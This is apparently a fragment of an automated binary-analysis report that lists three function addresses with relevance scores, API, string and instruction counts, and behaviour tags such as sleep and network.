Function 00BD6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00BC47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00BD51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON